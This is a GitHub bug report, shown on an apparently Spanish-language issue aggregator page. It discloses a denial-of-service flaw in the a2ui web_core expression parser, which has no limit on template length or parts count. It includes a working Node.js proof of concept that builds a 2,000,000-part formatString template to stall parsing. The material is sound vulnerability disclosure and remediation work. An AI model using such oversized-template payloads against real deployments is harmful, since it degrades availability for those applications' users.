a2ui-project / a2ui-project/a2ui

[BUG]: Expression parser has no template length or parts cap (multi-second parses per binding)

Abierto
#2,389 1 comentario 0 reacciones 1 asignado Reclamado por @Varun-S10 Ver en GitHub
P2 status: first-line-handled status: needs review type: bug
Lenguaje dominante
TypeScript
Estrellas
16.4k
Forks
1.3k
Merge medio
2 d 13 h
PR fusionados (30 d)
134

Descripción

# Expression parser has no template length or parts cap (multi-second parses per binding)

Repository: https://github.com/a2ui-project/a2ui
Affected: `@a2ui/web_core` (verified against published npm release 0.10.6)
CWE: CWE-400 (Uncontrolled Resource Consumption)

## Summary

`ExpressionParser` bounds only recursion *depth* (`MAX_DEPTH = 10`); `parse()` accepts an input of any length and emits any number of `${…}` parts. `formatString` invokes the parser on the agent-supplied template with no bound, so a dynamic property bound to `{call:'formatString', args:{value: '<${x} repeated millions of times>'}}` performs a multi-second parse on initial resolution — and again on every re-resolution of the binding (each data-model change). The missing length/parts bound (present for depth, absent for breadth) is the defect.

## Affected code

- `renderers/web_core/src/v0_9/basic_catalog/expressions/expression_parser.ts` — depth cap only (`MAX_DEPTH = 10`; npm dist `…/expression_parser.js:26,31-69`); no input-length or parts-count limit
- `renderers/web_core/src/v0_9/basic_catalog/functions/basic_functions.ts` — `new ExpressionParser().parse(template)` on the agent-supplied `value`, unbounded (npm dist `…/basic_functions.js:210-211`)

## Observed behavior (measured)

Published package, a TextField `label` bound to `formatString` with a template of N interpolations:

| template | parse cost at bind |
|---|---|
| `hello ${x}` (control) | ~0 ms |
| 2,000,000 `${x}` parts | 978 ms |

Re-fires on every subsequent data-model change of bound paths.

## Impact

One spec-valid binding consumes ~1 s of main-thread time per resolution, repeated on each change — sustained client-side DoS from a single message. Availability only.

## Suggested remediation

- Cap template length and parts count in `ExpressionParser.parse` (reject beyond a threshold).
- Additionally bound `formatString`'s `value` argument length in its Zod schema.

## PoC

Prerequisites: Node ≥ 20 with `@a2ui/web_core@0.10.6` installed. Run `node poc_f25.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0.

```js
// poc_f25.mjs — F-25: ExpressionParser.parse has no template length / parts-count
// cap (only depth=10). formatString calls it on a SERVER-CONTROLLED template.
// We bind a TextField `label` to {call:'formatString', args:{value: template}}
// and measure the mount-time resolution. Confirmed if the 2M-part binding takes
// >300 ms vs a 1-part control.
import {
MessageProcessor, ComponentContext, GenericBinder, Catalog,
} from '@a2ui/web_core/v0_9';
import { ColumnApi, TextFieldApi, createBasicCatalogFunctions } from '@a2ui/web_core/v0_9/basic_catalog';
const CATALOG_ID = 'https://a2ui.org/specification/v0_9_1/catalogs/basic/catalog.json';

function setup(template) {
const catalog = new Catalog(CATALOG_ID, [ColumnApi, TextFieldApi], createBasicCatalogFunctions());
const processor = new MessageProcessor([catalog]);
processor.processMessages([
{ version: 'v0.9', createSurface: { surfaceId: 'poc', catalogId: CATALOG_ID } },
{ version: 'v0.9', updateDataModel: { surfaceId: 'poc', path: '/x', value: 'x' } },
{ version: 'v0.9', updateComponents: { surfaceId: 'poc', components: [
{ id: 'root', component: 'Column', children: ['tf'] },
{ id: 'tf', component: 'TextField', label: { call: 'formatString', args: { value: template } }, value: { path: '/x' } },
] } },
]);
return processor.model.getSurface('poc');
}
function timed(template) {
const surface = setup(template);
const ctx = new ComponentContext(surface, 'tf');
const binder = new GenericBinder(ctx, TextFieldApi.schema);
const t0 = process.hrtime.bigint();
const sub = binder.subscribe(() => {});
const ns = Number(process.hrtime.bigint() - t0);
sub.unsubscribe(); binder.dispose(); surface.dispose();
return +(ns / 1e6).toFixed(0);
}
const ctrl = timed('hello ${x}');
const big = timed('${x} '.repeat(2_000_000));
const ok = big > 300 && big > ctrl * 20;
console.log(JSON.stringify({ finding: 'F-25-expression-parser-no-parts-cap', control_1part_ms: ctrl, with_2000000_parts_ms: big, confirmed: ok }, null, 2));
process.exit(ok ? 0 : 1);
```

Guía de contribución

Abrir la guía de contribución

Línea de trabajo

Examine renderers/web_core/src/v0_9/basic_catalog/expressions/expression_parser.ts to understand the MAX_DEPTH constant and the parse method. Look at basic_functions.ts where formatString calls the parser. The fix involves adding a maximum template length and parts count in the parser, and possibly updating the Zod schema for formatString's value argument. Run the provided PoC script to verify the performance issue and test the fix.

Escrito por el modelo de indexación a partir del texto del issue.

Evaluación

Stack tecnológico
node.js, typescript
Área
backend-api-design, security
Tipo de issue
Error
Dificultad
3/5
Tiempo estimado
1-2 días
Estado de actividad
Activo
Claridad
Bien especificado
Aptitud para principiantes
65/100

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.